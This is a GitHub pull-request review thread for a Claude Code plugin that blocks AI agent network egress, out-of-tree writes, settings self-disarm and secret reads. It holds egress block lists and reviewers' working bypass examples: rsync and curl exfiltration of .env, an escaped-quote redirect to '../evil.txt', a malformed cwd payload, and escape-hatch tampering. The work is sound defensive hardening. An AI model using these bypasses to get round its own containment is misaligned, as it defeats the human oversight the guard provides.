feat(security): ship the containment guard as the awos-containment plugin - #146
feat(security): ship the containment guard as the awos-containment plugin#146oleksii-shevchuk wants to merge 2 commits into
Conversation
📝 WalkthroughWalkthroughAdds the ChangesContainment plugin
Estimated code review effort: 4 (Complex) | ~60 minutes Sequence Diagram(s)sequenceDiagram
participant ClaudeCode
participant hooks.json
participant awos-containment-guard.js
participant ProjectFilesystem
ClaudeCode->>hooks.json: Match PreToolUse tool
hooks.json->>awos-containment-guard.js: Invoke guard with payload
awos-containment-guard.js->>ProjectFilesystem: Resolve and inspect paths
awos-containment-guard.js-->>ClaudeCode: Allow or block tool call
Possibly related PRs
Suggested labels: Suggested reviewers: 🚥 Pre-merge checks | ✅ 4 | ❌ 1❌ Failed checks (1 warning)
✅ Passed checks (4 passed)
✨ Finishing Touches📝 Generate docstrings
🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
Actionable comments posted: 2
🧹 Nitpick comments (1)
plugins/awos-containment/.claude-plugin/plugin.json (1)
9-9: 📐 Maintainability & Code Quality | 🔵 Trivial | ⚡ Quick winKeyword implies capability the guard explicitly disclaims.
"prompt-injection"inkeywordssuggests injection-defense, but this PR's ownCLAUDE.mdaddition states the guard "is a containment layer, not a general injection defense." Users searching the marketplace by this keyword may over-trust its scope.✏️ Suggested tweak
- "keywords": ["security", "containment", "prompt-injection", "hook"] + "keywords": ["security", "containment", "least-privilege", "hook"]🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@plugins/awos-containment/.claude-plugin/plugin.json` at line 9, Remove the "prompt-injection" keyword from the keywords array in plugin.json, keeping the remaining capability-accurate keywords unchanged.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In `@plugins/awos-containment/hooks/awos-containment-guard.js`:
- Around line 421-463: Update TEE_RE and the tee-handling logic in
collectBashWriteTargets so every non-option destination token after tee is
collected, not just the first one. Preserve support for tee options, quoted
paths, command separators, and existing device-sink filtering, ensuring commands
such as tee file1 file2 file3 validate each target.
In `@tests/installer/containment-guard.test.js`:
- Line 1: Remove the stray Cyrillic text preceding the opening comment marker on
the first line of containment-guard.test.js, restoring a valid `/**` comment
start so the test file parses successfully.
---
Nitpick comments:
In `@plugins/awos-containment/.claude-plugin/plugin.json`:
- Line 9: Remove the "prompt-injection" keyword from the keywords array in
plugin.json, keeping the remaining capability-accurate keywords unchanged.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: defaults
Review profile: CHILL
Plan: Pro Plus
Run ID: b3473793-f15a-454b-818c-103932ae7f12
📒 Files selected for processing (10)
.claude-plugin/marketplace.jsonCLAUDE.mdplugins/awos-containment/.claude-plugin/plugin.jsonplugins/awos-containment/hooks/awos-containment-guard.jsplugins/awos-containment/hooks/hooks.jsonsrc/CLAUDE.mdsrc/services/marketplace-configurator.jstests/installer/configurators.test.jstests/installer/containment-guard.test.jstests/lint-prompts.test.js
d6457c5 to
a1327a0
Compare
AlexanderMakarov
left a comment
AlexanderMakarov
left a comment
There was a problem hiding this comment.
This is a solid, well-documented containment lever — the header is honest about robust-vs-best-effort, and the negative test coverage (loopback forms, output-flag filenames, localhost@evil disguises, pattern-first search) is genuinely careful. Three things I'd want resolved before merge — the first two in the guard's own stated strong path rather than the best-effort residuals, the third in how the installer arms it:
-
A path-prefixed egress binary walks straight through the network-egress deny —
/usr/bin/curl … -d @.envand./curl …are allowed (inline). That's guarantee (a), the one the header calls robust, and the fix pattern already lives in this file (the secret-read branch basenames the command word; egress doesn't). -
The guard fails open on its own internal errors — an uncaught throw exits 1, which PreToolUse treats as a non-blocking error and proceeds (hooks reference: "Claude Code treats exit code 1 as a non-blocking error and proceeds with the action… If your hook is meant to enforce a policy, use
exit 2"), so a malformed payload lets the tool run unchecked (inline). For a least-privilege lever the default on "I couldn't decide" should be block, not allow. It ties together three spots: themain()throw path,readStdin()collapsing a real read error (EAGAINon a non-blocking pipe) into the unparseable-→-allow branch, andcanonical()swallowingEACCES/ELOOP(not just the documentedENOENT) so an existing out-of-tree symlink degrades to its lexical in-tree path. -
Arming the hook deserves the user's consent. The description frames this as "first-class, versioned, opt-in packaging", but as wired it's the opposite of opt-in: every
npx @provectusinc/awosrun writesenabledPlugins["awos-containment@awos-marketplace"] = trueinto.claude/settings.jsonwith no prompt and no flag — the first time the installer enables a plugin rather than just registering the marketplace, and it's the one that intercepts every tool call in every session. Three compounding effects: (a).claude/settings.jsonis the shared, committed settings file, so one install arms the hook for the whole team — Claude Code's workspace-trust dialog gates the clone-time path, teammates see the marketplace and plugin listed when they first trust the folder (docs), but nothing prompts the person running npx in a project they already trust; (b) the escape route is circular — the guard's block messages say "disable the awos-containment plugin", the guard itself (correctly) blocks writes to.claude/settings.json, so the user has to hand-edit, and the next installer run flips their explicitfalseback totrue(inline); (c) the installer already owns the machinery for exactly this decision —src/utils/prompt.jsasks in a TTY,--overwrite/--no-overwriteshort-circuit for scripts, non-TTY defaults to the safe choice — built on the judgment that silently mutating user-owned config is the bug worth a prompt, and a session-global PreToolUse hook is a bigger mutation than a command wrapper. I'd mirror that pattern: a TTY prompt ("Enable the awos-containment guard? It blocks network egress, out-of-tree writes and secret reads in Claude Code sessions [Y/n]"),--containment/--no-containmentflags for scripted runs, an explicitfalsetreated as a sticky answer, and a README line noting the entry is team-shared via the committed settings file. Default-yes keeps the secure-by-default posture — the ask is consent, not a different default. If auto-arming is the deliberate call (containment only helps if it's universally on), say so in the description and README so the choice is visible; right now the "opt-in" framing and the behavior point in opposite directions.
Also inline: a false-positive where a command that merely quotes > ../x in a string (a commit message, an echo) gets blocked as an out-of-tree write — over-refusal is your stated top risk.
On the tests (IMPORTANT): every block assertion checks only res.status === 2 and never which rule fired, so a couple pass for the wrong reason (the AWOS_CONTAINMENT_OFF=1 curl … tamper case actually blocks at the egress branch; the export … sibling covers tamper correctly), and the tee multi-destination bug (the open CodeRabbit thread) has no catching test. Asserting on stderr would pin each branch. Coverage-wise .mcp.json, NotebookEdit's notebook_path, and half the egress tokens (scp/sftp/ftp/telnet/…) are never exercised — the guard handles them, but nothing would catch a regression.
Minor: I agree with CodeRabbit's nitpick that the prompt-injection keyword over-claims against your own "not a general injection defense" framing — least-privilege reads truer.
| // whitespace, or a redirection/grouping char) so a word that merely | ||
| // CONTAINS one of these — `sync`, `concurrently`, a path segment `inc` — | ||
| // is never blocked. | ||
| const EGRESS_TOKENS = [ |
There was a problem hiding this comment.
scp, sftp, ftp, and telnet are all here but rsync isn't, so rsync -a ./ [email protected]:/exfil is allowed (verified, exit 0). It's as clean a data-transfer binary as scp — is the omission deliberate (to avoid false positives on local rsync copies), or just missed? If it goes in, note it fails open on a scheme-less remote the same way scp does today.
There was a problem hiding this comment.
Added. rsync/rsync.exe to EGRESS_TOKENS. It fails open on a scheme-less remote the same way scp does today, as you noted. Also added the previously-missing block tests for scp/sftp/ftp/telnet.
There was a problem hiding this comment.
Confirmed — rsync/rsync.exe are in EGRESS_TOKENS, and the added scp/sftp/ftp/telnet block tests are a good touch. Thanks.
| * redirections, `tee`, `dd of=`, and the destination of `cp`/`mv`. Best-effort | ||
| * — see the file header. Device sinks (`/dev/null`, …) are filtered out. | ||
| */ | ||
| function collectBashWriteTargets(command) { |
There was a problem hiding this comment.
Quoted > is a false-positive block. The redirect/tee/cp parsing runs on the raw string with no quote awareness, so a > (or tee/cp) inside a quoted argument is treated as a real out-of-tree write. Verified:
git commit -m "fix: write output > ../artifacts"→ blocked (exit 2)echo "see notes > ../README for details"→ blocked (exit 2)
Over-refusing a legitimate commit or echo is the failure mode you call out as the worst one. You can't parse this perfectly without a real shell lexer (and the header already owns that best-effort limit for under-blocking), but stripping quoted spans before scanning for redirect targets — or not treating a > that sits between matched quotes as a redirect — would kill the common false positives. Worth a guard plus a negative test.
There was a problem hiding this comment.
Fixed. maskQuoted() blanks shell operators inside quoted spans before the redirect/tee/cp/dd scan; the target text is taken from the original by span. The commit-message/echo cases now pass; a real echo x > ../out.txt (bare or quoted target) still blocks. Positive + negative tests added.
There was a problem hiding this comment.
The mask fixes the over-refusal I flagged, but it introduced an under-refusal in the same scan — an escaped \" desyncs the quote parity and masks a real >, so echo "a\"" > ../evil.txt passes (reproduced: plain echo x > ../evil.txt blocks, the escaped-quote variant does not). Left the trace and a one-line escape-aware fix inline on maskQuoted. Keeping this open until that's closed.
| const input = payload.tool_input || {}; | ||
| // The containment boundary is the project directory. Claude Code exposes it | ||
| // as CLAUDE_PROJECT_DIR; fall back to the hook payload's cwd, then process cwd. | ||
| const root = process.env.CLAUDE_PROJECT_DIR || payload.cwd || process.cwd(); |
There was a problem hiding this comment.
No fail-closed wrapper — an internal error becomes an allow. main() runs bare (main() at line 720, no surrounding try/catch), and PreToolUse blocks only on exit 2 — every other code, including the 1 from an uncaught throw, is a non-blocking error that lets the tool proceed ("Claude Code treats exit code 1 as a non-blocking error and proceeds with the action… use exit 2"). So a throw anywhere in the block path becomes an allow. Concrete trigger: root is CLAUDE_PROJECT_DIR || payload.cwd || process.cwd(), and payload.cwd is attacker-influenceable. A non-string cwd reaches isPosixAbsolute(p) → p.startsWith is undefined → TypeError → exit 1 → the out-of-tree write is allowed:
{"tool_name":"Write","tool_input":{"file_path":"../../etc/evil","content":"x"},"cwd":42} → exit 1 (allowed)
(You already coerce file_path with String(target), which is why a non-string path is safe — cwd just isn't given the same treatment.) Two changes: coerce/type-guard root (String(...), and only fall back to payload.cwd when it's a string), and wrap the whole body so an internal error fails closed:
try { main(); }
catch (e) {
process.stderr.write('AWOS containment guard: internal error, blocking to fail safe: ' + e + '\n');
process.exit(EXIT_BLOCK);
}Same posture argument covers two neighbours while you're here: readStdin() catches a real read failure and returns '', which routes through the "unparseable JSON → allow" branch — a payload that was present and blockable gets allowed because the read hiccuped. readFileSync(0) on a piped stdin is a known Node footgun: once anything sets O_NONBLOCK on fd 0 (touching process.stdin does), the sync read can throw EAGAIN when the payload isn't fully available yet (nodejs/node#42826, eslint/eslint#10393). And canonical() catches every realpath error, so an existing final-component symlink that throws EACCES/ELOOP (not the documented ENOENT to-be-created leaf) degrades to the lexical in-tree path and the write is allowed. Same "fail open on our own error" shape as the throw path.
There was a problem hiding this comment.
Fixed all three spots. main()'s body is wrapped to exit 2 on an unexpected throw; root is String-coerced and only falls back to payload.cwd when it's a string (so {"cwd":42} no longer TypeErrors into exit 1) — these have unit tests. readStdin() no longer swallows a real read error into the unparseable→allow branch, and canonical() rethrows anything but ENOENT; these two are code-level hardening, self-documented as best-effort
(not cross-platform unit-tested), same class as the other interpreter-evasion residuals. The deliberate fail-opens (unparseable, null/primitive) still exit 0.
There was a problem hiding this comment.
Confirmed closed — main() runs in a try/catch that exits 2 on any throw, guard() is fully synchronous so every sub-check error lands there, and readStdin/canonical no longer swallow real errors. Right posture.
| log(`${SETTINGS_FILE} already has ${MARKETPLACE_NAME} registered`, 'info'); | ||
| return { marketplaceConfigured: false }; | ||
| const needsMarketplace = !settings.extraKnownMarketplaces[MARKETPLACE_NAME]; | ||
| const needsPluginEnabled = |
There was a problem hiding this comment.
needsPluginEnabled = settings.enabledPlugins[ENABLED_PLUGIN_KEY] !== true treats an explicit false the same as missing, so every npx re-run flips a user's deliberate "awos-containment@awos-marketplace": false back to true. That contradicts the guard's own block messages, which offer "disable the awos-containment plugin" as the alternative to the env hatch — done via enabledPlugins, it silently reverts on the next install. Consider only writing the key when it's absent (=== undefined), leaving an explicit false intact.
There was a problem hiding this comment.
Fixed. The enable write now only happens when the key is absent (hasOwnProperty), so an explicit false is sticky and never re-flipped on reinstall. Plus the broader consent change: TTY [Y/n] prompt (default-yes),
--containment/--no-containment flags, non-TTY default-enable (secure-by-default), and a README disclosure. Tests cover enable/decline/sticky and every prompt form.
There was a problem hiding this comment.
Confirmed — the enable write is gated on the key being absent now, so an explicit false stays sticky across re-runs. The prompt + flags + README round it out well.
a1327a0 to
d61ed20
Compare
There was a problem hiding this comment.
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (1)
CLAUDE.md (1)
139-139: 📐 Maintainability & Code Quality | 🟡 Minor | ⚡ Quick winCorrect the prevention-pass wording.
“Pure over dimension objects” is grammatically incomplete. Replace it with “Purely operates on dimension objects” or equivalent wording.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@CLAUDE.md` at line 139, Update the prevention.ts description in CLAUDE.md by replacing the grammatically incomplete “Pure over dimension objects” phrase with equivalent wording such as “Purely operates on dimension objects,” while preserving the surrounding behavior and scope descriptions.Source: Linters/SAST tools
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Outside diff comments:
In `@CLAUDE.md`:
- Line 139: Update the prevention.ts description in CLAUDE.md by replacing the
grammatically incomplete “Pure over dimension objects” phrase with equivalent
wording such as “Purely operates on dimension objects,” while preserving the
surrounding behavior and scope descriptions.
ℹ️ Review info
⚙️ Run configuration
Configuration used: defaults
Review profile: CHILL
Plan: Pro Plus
Run ID: 8706ae95-7070-421d-a9e6-c0f17fae470a
📒 Files selected for processing (16)
.claude-plugin/marketplace.jsonCLAUDE.mdREADME.mdplugins/awos-containment/.claude-plugin/plugin.jsonplugins/awos-containment/hooks/awos-containment-guard.jsplugins/awos-containment/hooks/hooks.jsonsrc/CLAUDE.mdsrc/core/setup-orchestrator.jssrc/index.jssrc/services/marketplace-configurator.jssrc/utils/prompt.jstests/installer/configurators.test.jstests/installer/containment-guard.test.jstests/installer/prompt.test.jstests/installer/setup-orchestrator.test.jstests/lint-prompts.test.js
🚧 Files skipped from review as they are similar to previous changes (4)
- plugins/awos-containment/hooks/hooks.json
- plugins/awos-containment/.claude-plugin/plugin.json
- src/CLAUDE.md
- tests/installer/configurators.test.js
|
Thanks — thorough review. All three headline points and the inline items are addressed (replies on each thread): path-prefixed egress and fail-closed on internal error in the guard's robust path; consent-based arming with a sticky decline in the installer, mirroring the existing overwrite-prompt pattern; plus quoted- Two notes on the judgment calls. On egress kepts position-agnostic matching rather than And one the review led to indirectly: running the companion behavioral E2E (awos-qa#38) caught a Windows-specific gap the unit tests missed — the guard's cross-namespace fail-open let a POSIX |
…ugin
Delivers the PreToolUse containment guard as a first-class, versioned Claude
Code plugin instead of an installer-written settings hook.
- New plugins/awos-containment/: plugin.json + hooks/hooks.json (PreToolUse via
${CLAUDE_PLUGIN_ROOT}) + the guard script.
- Installer registers the marketplace and enables the plugin via enabledPlugins
in .claude/settings.json (idempotent; independent of marketplace registration).
- Egress fix: isLoopbackOnlyEgress ANDs !hasForeignHost on the URL branch, so a
scheme-less foreign host beside a loopback URL no longer bypasses egress-deny.
- Folds in CodeRabbit's three: pattern-first false positive, symlink
canonicalization, null-payload fail-open.
- Layer-1 lint for the plugin manifest/hook/marketplace-version contract;
installer tests for enabledPlugins + the marketplace-present upgrade path.
Co-Authored-By: Claude Opus 4.8 <[email protected]>
d61ed20 to
a758ed7
Compare
AlexanderMakarov
left a comment
AlexanderMakarov
left a comment
There was a problem hiding this comment.
Most of last round is addressed and it holds up under a re-trace — thanks for the thorough pass.
One regression, and it's the blocker: the maskQuoted change that cured the quoted-> over-block introduced an under-block in the same scan. Bash treats a backslash-escaped \" as a literal, but the masker toggles quote state on it anyway, so parity desyncs and a real > gets masked — echo "a\"" > ../evil.txt now writes out of tree and passes the guard (reproduced below, inline). The bundled Section-C tests don't include an escaped quote, so this ships green. It reopens the quoted-> thread.
Two non-blocking follow-ups, neither needs to hold up the fix above:
- The egress boundary still doesn't count quote characters, so
"curl" http://evil/xslips the egress deny. This is pre-existing — the diff only widened the leading class with/and\— so it's a separate pass, not a regression here. - The
d-flag regex literals (REDIRECT_RE/TEE_RE/DD_RE) evaluate at module load, outside the fail-closed wrapper, so on a runtime withouthasIndicesthe guard would throw at parse and disarm. A non-issue on the pinned Node 22+/recent Bun — just flagging the runtime assumption for a guard whose whole job is to fail closed.
Interaction with #153 (/awos:hire installs hooks). #153 has /awos:hire write hook entries into .claude/settings.json — the exact write this guard's PROTECTED_INTREE frames as planting durable execution. Two things fall out of that on a guarded project: the install itself slips through (the recruitment CLI writes settings.json inside the npx subprocess, which the command-string parse can't see — so the self-protection has a hole AWOS's own installer walks through), while a tool-mediated touch does not — #153's rollback that removes the settings entry, if done via Edit, is blocked, and the disable-via-settings escape hatch is the same circular one from last round. Not a blocker here, but the two need a decided interaction before both are default-on — the guard recognizing the recruitment CLI, or /awos:hire surfacing the conflict and offering the AWOS_CONTAINMENT_OFF path.
| for (let i = 0; i < chars.length; i++) { | ||
| const c = chars[i]; | ||
| if (quote) { | ||
| if (c === quote) quote = null; |
There was a problem hiding this comment.
Escaped-quote desync masks a real redirect — this reopens the out-of-tree write path. maskQuoted toggles quote state on every "/' with no escaped-quote handling, but bash treats a backslash-escaped \" as a literal, not a delimiter. An odd number of \" before a real redirect leaves the masker "inside a quote", so it blanks the genuine > — REDIRECT_RE then never sees it and the out-of-tree target is never collected.
Trace echo "a\"" > ../evil.txt: the \" wrongly closes the span, the following " re-opens it, and the > is masked to _, so ../evil.txt is never collected → allowed, while real bash performs the redirect. Chaining echo "\"" ; echo x > ../evil.txt masks the ; too, so maskedSegments stops splitting and a cp/mv in the second segment would be missed as well. It's a regression — the pre-mask code scanned the raw command, so > ../evil.txt matched regardless of surrounding quotes.
Reproduced against the current guard: echo x > ../evil.txt blocks (exit 2), but echo "a\"" > ../evil.txt and echo "\"" ; echo x > ../evil.txt both pass (exit 0).
Escape-aware masking closes it without bringing back the false-positive this mask exists to fix — at the top of the loop body:
if (c === '\\' && quote !== "'") { i++; continue; } // skip the escaped byte; POSIX single-quotes don't process backslashWith that applied, both PoCs block and git commit -m "note > ../artifacts" still passes. Worth a Section-C case pinning echo "a\"" > ../evil.txt must BLOCK, since the current tests pass without covering an escaped quote. I'd steer clear of the raw+masked-union alternative — it would reintroduce the git commit -m "… > ../x" over-block.
There was a problem hiding this comment.
Confirmed and reproduced. The issue is wider than the trace: the desync defeated self-protection too, not just out-of-tree — echo "a\"" > .claude/settings.json and echo "\"" ; cp a .git/hooks/pre-commit also passed.
I took your one-liner as the base. On its own it doesn't close printf $'a\'b' > ../x — ANSI-C $'…' honours \', so the quote !== "'" carve-out desyncs there — and it breaks PowerShell: \ is not an escape there, so
"C:\dir\" is a complete string plus a real redirect that the fix lets through. So: escape-aware masking, $'…' as its own span type, and heredoc bodies masked as data — all resolved during the quote walk, so a <<EOF
inside a quoted literal can't open a bogus body.
Yes, I deviated from your advice and added the union — and you're right that a naive union brings the over-block back. So it isn't naive: it fires only on a desync, redirects only, and only from the byte where the parse broke
(desyncFrom). I also mask shell comments separately — an apostrophe in # don't desynced the parser. On your own examples: git commit -m "note > ../artifacts" — allow, # don't then git commit -m "n > ../x" — allow, printf $'a\'b' > ../out.txt — block. Remove the union and tests fail, including your PoC family.
Section-C is now a family: escaped quote, ANSI-C, comment-as-prose, PowerShell desync, and a separate must-not-block class. Tests 65 → 92; 18 fail on the pre-fix guard.
| // whitespace, or a redirection/grouping char) so a word that merely | ||
| // CONTAINS one of these — `sync`, `concurrently`, a path segment `inc` — | ||
| // is never blocked. | ||
| const EGRESS_TOKENS = [ |
There was a problem hiding this comment.
Confirmed — rsync/rsync.exe are in EGRESS_TOKENS, and the added scp/sftp/ftp/telnet block tests are a good touch. Thanks.
| const input = payload.tool_input || {}; | ||
| // The containment boundary is the project directory. Claude Code exposes it | ||
| // as CLAUDE_PROJECT_DIR; fall back to the hook payload's cwd, then process cwd. | ||
| const root = process.env.CLAUDE_PROJECT_DIR || payload.cwd || process.cwd(); |
There was a problem hiding this comment.
Confirmed closed — main() runs in a try/catch that exits 2 on any throw, guard() is fully synchronous so every sub-check error lands there, and readStdin/canonical no longer swallow real errors. Right posture.
| log(`${SETTINGS_FILE} already has ${MARKETPLACE_NAME} registered`, 'info'); | ||
| return { marketplaceConfigured: false }; | ||
| const needsMarketplace = !settings.extraKnownMarketplaces[MARKETPLACE_NAME]; | ||
| const needsPluginEnabled = |
There was a problem hiding this comment.
Confirmed — the enable write is gated on the key being absent now, so an explicit false stays sticky across re-runs. The prompt + flags + README round it out well.
| * redirections, `tee`, `dd of=`, and the destination of `cp`/`mv`. Best-effort | ||
| * — see the file header. Device sinks (`/dev/null`, …) are filtered out. | ||
| */ | ||
| function collectBashWriteTargets(command) { |
There was a problem hiding this comment.
The mask fixes the over-refusal I flagged, but it introduced an under-refusal in the same scan — an escaped \" desyncs the quote parity and masks a real >, so echo "a\"" > ../evil.txt passes (reproduced: plain echo x > ../evil.txt blocks, the escaped-quote variant does not). Left the trace and a one-line escape-aware fix inline on maskQuoted. Keeping this open until that's closed.
…s deny Shell parse: - Quote masking is escape-, ANSI-C ($'…')-, comment- and heredoc-aware, so an escaped quote, an apostrophe in a comment, or a `<<` that is really an arithmetic shift no longer desync the scan into masking a real redirect or over-blocking a quoted `>`. - cp/mv/install destinations behind wrapper words, path qualification, grouping keywords, newline separators and -t; `>|` recognized; `~` expanded. - Egress match normalizes each segment's command word, so `"curl" http://…` is caught while `grep -rn "curl" src/` is not. - Write-scan regexes built via new RegExp in try/catch with a non-d fallback. Settings deny → invariant: - .claude/settings*.json move from a blanket deny to a disarm invariant over the merged settings.json + settings.local.json stack: a write is allowed unless it leaves containment un-armed — plugin disabled, marketplace unregistered or repointed, disableAllHooks, a bypassPermissions default, a newly registered hook command, or any new/changed `env` key (which reaches the guard's own node process: the escape hatch, CLAUDE_PROJECT_DIR, or NODE_OPTIONS; env keys are case-folded on Windows). Removing a hook or env key stays allowed (the hire rollback). Edits are simulated by index splice, not String.replace. - .mcp.json, .git/hooks/ and .github/workflows/ unchanged; Bash writes to settings files stay a blanket deny. Docs: - Drop the claim that permissions.deny is inert under --dangerously-skip-permissions; the reason for a hook is expressiveness. - Label the Bash branch a tripwire, not a guarantee; secret-read message no longer says `cat .env` is uncovered. Guard unit tests 65 -> 92; 18 fail on the pre-fix guard. Co-Authored-By: Claude Opus 4.8 <[email protected]>
d3778f5 to
795d091
Compare
|
Egress with quotes — fixed by normalizing only each segment's command word, so d-flag — your mechanism is right, and #153 — the asymmetry is worse than described: the install runs inside an I'm also correcting a wrong claim in the PR description: "permissions.deny is inert under --dangerously-skip-permissions" is false; deny and explicit ask rules apply in every mode. The reason for a hook is expressiveness: a deny rule can't carry an allowlist exception. |
2 participants
What
New
plugins/awos-containment/:.claude-plugin/plugin.json,hooks/hooks.json(a PreToolUse hook wired through${CLAUDE_PLUGIN_ROOT}), andhooks/awos-containment-guard.js— a dependency-free Node guard that reads thePreToolUse payload on stdin and exits 2 to block a boundary crossing, 0 otherwise.
The installer registers the
awos-marketplaceand — subject to a consent prompt (default-yes;--containment/--no-containmentfor scripted runs; an explicit decline is sticky and not re-flipped on reinstall) — enables the plugin via anenabledPluginsentry in.claude/settings.json(src/services/marketplace-configurator.js). Registration only makes the plugin available; theenabledPluginswrite is what arms the hook. Both operations are independently idempotent (read-merge-write).What the guard blocks:
Network egress — a Bash/PowerShell command matching a data-transfer/networking token (
curl,wget,nc,scp,rsync,Invoke-WebRequest,iwr/irm, …) to a non-loopback host. Loopback (localhost/127.0.0.1) is exempt so a local health-check curl still runs; a loopback URL does not whitelist a scheme-less foreign host riding beside it, and a disguisedlocalhost@evilauthority resolves to its real host. The command word is quote-normalized, so"curl" http://…is caught whilegrep -rn "curl" src/is not.Out-of-tree writes — a Write/Edit/MultiEdit/NotebookEdit, or a Bash redirect/
tee/dd/cp/mv, whose target resolves outside the project directory. Final-component symlinks are canonicalized;~is expanded;cp/mv/installdestinations are found behind wrapper words, path qualification, grouping keywords and-t.Self-disarm invariant on
.claude/settings*.json— not a blanket deny. A blanket deny blocked the rollback of a hook install while the install itself, run inside annpxsubprocess the command parse can't see, went through —the guard denied the undo and permitted the do. Instead a Write/Edit is simulated and allowed unless it would leave containment un-armed: the plugin disabled, the marketplace unregistered or repointed,
disableAllHooks, abypassPermissionsdefault, a newly registered hook command, or a new/changedenvkey (which reaches the guard's own process — the escape hatch,CLAUDE_PROJECT_DIR, orNODE_OPTIONS; env keys are case-folded on Windows).Removing a hook or an env key stays allowed (the rollback). Evaluated over the merged
settings.json+settings.local.jsonstack.Persistence sinks —
.git/hooks/,.github/workflows/, and the MCP registration.mcp.json: the writes that would plant durable execution. A Bash redirect into a settings file carries no inspectable content and stays a blanket deny.Secret reads — a Read/Glob/Grep of a credential/key file (
.env,*.pem,*.key,id_rsa, …; templates like.env.exampleexempt), plus a best-effort Bash read (cat .env,grep … .env,< key.pem).Fail-open by design: an unparseable or null/primitive payload and the
AWOS_CONTAINMENT_OFF=1escape hatch each allow the call — a false block that breaks a legitimate in-tree write is worse than a rare miss.Cross-namespace paths are reconciled rather than blanket-allowed: a POSIX target under a Windows root is converted when it is a Git-Bash drive-mount (
/c/…→C:\…) and compared normally, and is otherwise treated as out-of-tree; only the rare reverse — a Windows-absolute target under a POSIX root — remains fail-open.Honest scope: this is a least-privilege containment lever, not a general injection defense. It does not stop a generic in-tree, in-domain write. The egress / out-of-tree / protected-write / secret-read denies are robust; the shell-string-parsing branches (Bash redirect, Bash secret-read) are a best-effort tripwire, not a boundary — an interpreter (
python -c,node -e,npx) can evade them.Why
A PreToolUse guard is a session-global security control: it fires on every matched tool call, across the orchestrator and every subagent (the payload carries
agent_id/agent_type), for the whole run, and stays active under--dangerously-skip-permissions. That deserves first-class, versioned, opt-in packaging rather than an installer-written settings hook — a plugin carries its own manifest and version, resolves its hook path through${CLAUDE_PLUGIN_ROOT}regardless of install location, and can be seen and disabled as a unit.It is a hook rather than a
permissions.denyrule for expressiveness — not because deny rules stop working under bypass (they apply in every mode). A deny rule cannot carry an allowlist exception, so "deny writes outside theproject root but allow everything inside" and "deny egress except to loopback" are not expressible as deny rules. Claude Code's own protected-path list already covers
.claude/and.git/in every mode exceptbypassPermissions(and.mcp.jsonsits on its protected-files list too);.github/workflows/is on neither.Tests
Layer-1 lint:
plugins/awos-containment/ships aplugin.json, a PreToolUse hook resolved via${CLAUDE_PLUGIN_ROOT}invokingawos-containment-guard.js, and amarketplace.jsonentry whose version matchesplugin.json.Installer unit tests (
tests/installer/configurators.test.js): the marketplace registration and theenabledPluginsentry are written idempotently, including the already-registered upgrade path; consent is enable/decline/sticky-tested (configurators + prompt + setup-orchestrator).Guard unit tests (
tests/installer/containment-guard.test.js, 92 tests): each block/allow branch — out-of-tree Write/Edit (including through a symlink), egress incl. the loopback-URL-beside-a-foreign-host and disguised-loopback cases and the quoted command word, the shell-parse desync family (escaped quote, ANSI-C$'…', comment-as-prose, heredoc-body-as-data, PowerShell),cp/mvbehind wrappers, the settings self-disarm invariant (merged stack, env-neuter incl. NODE_OPTIONS and case-folded keys, hook-add vs hook-remove, marketplace repoint, literal Edit simulation), secret reads (Read family + Bash, pattern-first args not misread as a file), PowerShell parity, the escape-hatch tamper block, fail-open on unparseable/null payloads, the cross-namespace cases, and the over-refusals the hardening must not introduce (grep -rn "curl" src/, a loopback request with a domain header, a multi-line commit body, a heredoc with a shell example).Companion QA scenarios:
provectus/awos-qaonfeat/injection-containment-plugin-e2e(provectus/awos-qa#38).